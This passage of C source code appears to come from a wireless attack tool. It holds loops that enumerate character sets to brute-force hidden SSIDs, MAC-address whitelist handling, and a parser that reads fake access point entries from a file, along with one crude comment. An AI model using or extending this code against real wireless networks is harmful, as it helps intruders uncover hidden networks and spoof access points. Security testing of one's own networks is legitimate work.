for (i=0; i<ssid_len-1 ;i++) {
if (brute_ssid[i] == 'z' + 1) {
brute_ssid[i] = 'A';
}
if (brute_ssid[i] == 'Z' + 1) {
brute_ssid[i] = 'a';
brute_ssid[i+1]++;
}
}
turns++;
if (brute_ssid[ssid_len-1] == ('Z' + 1)) end = 1;
break;
case 'm' : // lower- and uppercase characters plus numbers
if (brute_ssid[ssid_len-1] == (int) NULL) {
for (i=0; i<ssid_len; i++) {
max_permutations *= 62;
brute_ssid[i]=48;
}
brute_ssid[0]--;
}
brute_ssid[0]++;
for (i=0; i<ssid_len-1; i++) {
if (brute_ssid[i] == 'z' + 1) {
brute_ssid[i] = 'A';
}
if (brute_ssid[i] == 'Z' + 1) {
brute_ssid[i] = '0';
}
if (brute_ssid[i] == '9' + 1) {
brute_ssid[i] = 'a';
brute_ssid[i+1]++;
}
}
turns++;
if (brute_ssid[ssid_len-1] == ('9' + 1)) end = 1;
break;
case 'a' : // all printable characters
if (brute_ssid[ssid_len-1] == (int) NULL) {
for (i=0; i<ssid_len; i++) {
max_permutations *= 95;
brute_ssid[i] = 32;
}
brute_ssid[0]--;
}
brute_ssid[0]++;
for (i=0; i<ssid_len-1; i++) {
if (brute_ssid[i] == '~' + 1) {
brute_ssid[i] = ' ';
brute_ssid[i+1]++;
}
}
turns++;
if (brute_ssid[ssid_len-1] == ('~' + 1)) end = 1;
break;
default : printf("\nYou have to specify a set of characters (a,l,u,n,c,m)!\n");
exit(0);
break;
}
}
void load_whitelist(char *filename)
{
ssid_file_name = filename;
uchar *parsed_mac;
whitelist_len = 0;
while (! ssid_eof) {
parsed_mac = parse_mac(read_line_from_file());
memcpy(whitelist[whitelist_len], parsed_mac, ETH_MAC_LEN);
whitelist_len++;
if ((unsigned int) whitelist_len >= sizeof (whitelist) / sizeof (whitelist[0]) ) {
fprintf(stderr, "Exceeded max whitelist entries\n");
exit(1);
}
}
//Resetting file positions for next access
file_pos = 0;
ssid_eof = 0;
}
int is_whitelisted(uchar *mac)
{
int t;
for (t=0; t<whitelist_len; t++) {
if (!memcmp(whitelist[t], mac, ETH_MAC_LEN))
return 1;
}
return 0;
}
struct advap get_fakeap_from_file()
{
struct advap fakeap;
char *line;
int t;
uchar *mac;
char *ssid;
skipl:
line = read_line_from_file();
for (t=0; t<256; t++) { //Lets see if we have a dirty bitch...
if ((line[t] == ' ' && t<11) || (line[t] == '\0' && t<12) || (line[t] == '\n' && t<12)) {
printf("Malformed SSID file! Skipping line: %s\n", line);
goto skipl;
}
if (line[t] == ' ') break; // Position of first space stored in t
}
mac = parse_mac(line);
ssid = line+t+1;
fakeap.ssid = ssid;